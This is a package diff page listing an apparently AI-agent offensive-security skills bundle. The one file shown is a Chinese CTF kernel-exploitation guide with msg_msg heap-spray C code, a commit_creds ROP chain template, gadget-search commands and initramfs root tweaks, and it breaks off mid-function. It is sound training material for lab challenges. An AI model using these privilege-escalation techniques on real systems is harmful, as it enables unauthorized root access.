opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,370 @@
|
|
|
1
|
+
# 内核 Pwn (Kernel Pwn)
|
|
2
|
+
|
|
3
|
+
## 准备环境
|
|
4
|
+
|
|
5
|
+
典型内核题包:
|
|
6
|
+
|
|
7
|
+
```text
|
|
8
|
+
kernel/
|
|
9
|
+
├── bzImage # 压缩内核镜像
|
|
10
|
+
├── vmlinux # 未压缩内核(带符号,用于 gdb)
|
|
11
|
+
├── initramfs.cpio.gz / rootfs.img
|
|
12
|
+
├── vuln.ko # 漏洞驱动
|
|
13
|
+
├── run.sh # qemu 启动脚本
|
|
14
|
+
└── (.config) # 编译配置,可选
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
### 拆 initramfs 改 init 脚本
|
|
18
|
+
|
|
19
|
+
```bash
|
|
20
|
+
mkdir initramfs && cd initramfs
|
|
21
|
+
zcat ../initramfs.cpio.gz | cpio -idm
|
|
22
|
+
# 或 newc 格式:
|
|
23
|
+
# cpio -idm < ../initramfs.cpio
|
|
24
|
+
|
|
25
|
+
# 改 init 拿 root(CTF 学习用,真实题目通常 setuid 1000)
|
|
26
|
+
sed -i 's|setuidgid 1000|setuidgid 0|g' init
|
|
27
|
+
# 或注释掉 user 切换那一行
|
|
28
|
+
|
|
29
|
+
# 重新打包
|
|
30
|
+
find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz
|
|
31
|
+
cd ..
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
### 提取 vmlinux(如果只给了 bzImage)
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
# 用 extract-vmlinux 脚本(kernel 源码 scripts/)
|
|
38
|
+
/usr/src/linux/scripts/extract-vmlinux ./bzImage > vmlinux
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
### QEMU 启动参数模板
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
#!/bin/sh
|
|
45
|
+
qemu-system-x86_64 \
|
|
46
|
+
-m 256M \
|
|
47
|
+
-kernel ./bzImage \
|
|
48
|
+
-initrd ./initramfs.cpio.gz \
|
|
49
|
+
-cpu kvm64,+smep,+smap \
|
|
50
|
+
-append "console=ttyS0 nokaslr quiet oops=panic panic=1" \
|
|
51
|
+
-monitor /dev/null \
|
|
52
|
+
-nographic \
|
|
53
|
+
-no-reboot \
|
|
54
|
+
-s # 开 gdb 端口 1234
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
关键参数对应的保护:
|
|
58
|
+
|
|
59
|
+
| 参数 | 含义 | 影响利用 |
|
|
60
|
+
|------|------|---------|
|
|
61
|
+
| `+smep` | 内核态不能执行用户态代码 | 必须用 ROP,不能跳到用户态 shellcode |
|
|
62
|
+
| `+smap` | 内核态不能访问用户态数据 | rop 链不能放用户态,要放内核态(堆喷 / msgsnd) |
|
|
63
|
+
| `+pku` | Protection Keys | 类似 SMAP |
|
|
64
|
+
| `nokaslr` | 禁用 KASLR | 函数地址固定 |
|
|
65
|
+
| `kaslr` | 启用 KASLR | 必须 leak |
|
|
66
|
+
| `pti=on` | KPTI(Meltdown 修复) | 用户态返回需要 swapgs_restore_regs_and_return_to_usermode |
|
|
67
|
+
|
|
68
|
+
### 调试
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
# 终端 1
|
|
72
|
+
./run.sh # 带 -s
|
|
73
|
+
|
|
74
|
+
# 终端 2
|
|
75
|
+
gdb vmlinux
|
|
76
|
+
(gdb) target remote :1234
|
|
77
|
+
(gdb) b vulnerable_ioctl
|
|
78
|
+
(gdb) c
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
GEF 推荐用 bata24 维护的 fork,对内核结构体有专门 pretty-print。
|
|
82
|
+
|
|
83
|
+
## 漏洞类型分流
|
|
84
|
+
|
|
85
|
+
| 漏洞 | 典型来源 | 利用基线 |
|
|
86
|
+
|------|---------|---------|
|
|
87
|
+
| 内核栈溢出 | copy_from_user 长度可控 | 栈金丝雀 + KASLR → ROP |
|
|
88
|
+
| 内核堆溢出 | kmalloc slab 越界写 | slab 喷射 + 覆盖相邻对象 |
|
|
89
|
+
| UAF | refcount 错误 / 双 free | 重新申请同 slab → 控制释放对象 |
|
|
90
|
+
| 整数溢出 | size 计算溢出 → 小分配大拷贝 | 实际是溢出,同上 |
|
|
91
|
+
| TOCTOU | 用户态指针二次解引用 | userfaultfd / FUSE 拖时间 |
|
|
92
|
+
| race | 双线程同时 ioctl | 卡时序窗口 |
|
|
93
|
+
| 任意读写 | 已经是终极原语 | 直接改 cred / modprobe_path |
|
|
94
|
+
|
|
95
|
+
## slab 喷射(堆 pwn 核心)
|
|
96
|
+
|
|
97
|
+
把可控大小的内核对象喷到漏洞 slab,覆盖目标对象。
|
|
98
|
+
|
|
99
|
+
| slab size | 喷射对象 | 优点 |
|
|
100
|
+
|-----------|---------|------|
|
|
101
|
+
| kmalloc-64 / 96 | `seq_operations` | 有函数指针,覆盖即控 IP |
|
|
102
|
+
| kmalloc-1024 | `tty_struct` | 有 ops 指针,结构精美 |
|
|
103
|
+
| kmalloc-4096 | `pipe_buffer` | 现代版主力,6.x 仍有效 |
|
|
104
|
+
| 任意 size | `msg_msg` | 大小可控(8 - 4096+),sysv msgsnd 控数据 |
|
|
105
|
+
| kmalloc-128 | `user_key_payload` | keyctl 系列接口 |
|
|
106
|
+
|
|
107
|
+
### msg_msg 喷射示例
|
|
108
|
+
|
|
109
|
+
```c
|
|
110
|
+
// 用户态触发
|
|
111
|
+
int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
|
|
112
|
+
|
|
113
|
+
struct {
|
|
114
|
+
long mtype;
|
|
115
|
+
char mtext[0x80 - 0x30]; // 加上 msg_msg 头 0x30 = kmalloc-128
|
|
116
|
+
} msg = { .mtype = 0x1337 };
|
|
117
|
+
memset(msg.mtext, 'A', sizeof(msg.mtext));
|
|
118
|
+
|
|
119
|
+
msgsnd(msqid, &msg, sizeof(msg.mtext), 0); // 喷到 kmalloc-128
|
|
120
|
+
// ... 触发漏洞覆盖
|
|
121
|
+
msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0); // 读回看是不是被改了 → leak
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
## 提权路径
|
|
125
|
+
|
|
126
|
+
### 1. commit_creds(prepare_kernel_cred(0)) ROP
|
|
127
|
+
|
|
128
|
+
经典且通用。前提:能控 RIP(栈溢出 / vtable 劫持)。
|
|
129
|
+
|
|
130
|
+
```c
|
|
131
|
+
// 用户态 ROP 链
|
|
132
|
+
uint64_t rop[] = {
|
|
133
|
+
pop_rdi, // pop rdi; ret
|
|
134
|
+
0, // arg: 0
|
|
135
|
+
prepare_kernel_cred, // → 返回 root cred 到 rax
|
|
136
|
+
pop_rdi, // pop rdi; ret
|
|
137
|
+
/* 占位,下面 mov 会覆盖 */ 0,
|
|
138
|
+
/* mov rdi, rax; ... ; ret */ 0, // 转 rax→rdi(部分需要专门 gadget)
|
|
139
|
+
commit_creds, // 设置当前进程 cred = root
|
|
140
|
+
swapgs_restore_regs_and_return_to_usermode + 22, // 跳过 push 序列
|
|
141
|
+
0, 0, // rax, rdi 占位
|
|
142
|
+
user_rip, // 用户态返回函数(保存了 cs/ss)
|
|
143
|
+
user_cs, user_rflags, user_rsp, user_ss,
|
|
144
|
+
};
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
**关键 gadget**(要在 vmlinux 里 ROPgadget 找):
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
ROPgadget --binary vmlinux --only "pop|ret" | grep 'pop rdi'
|
|
151
|
+
ROPgadget --binary vmlinux --only "mov|ret" | grep 'mov rdi, rax'
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
返回用户态前必须保存 cs/ss/rflags/rsp:
|
|
155
|
+
|
|
156
|
+
```c
|
|
157
|
+
void save_state() {
|
|
158
|
+
__asm__(
|
|
159
|
+
"movq %%cs, %0\n"
|
|
160
|
+
"movq %%ss, %1\n"
|
|
161
|
+
"pushfq; popq %2\n"
|
|
162
|
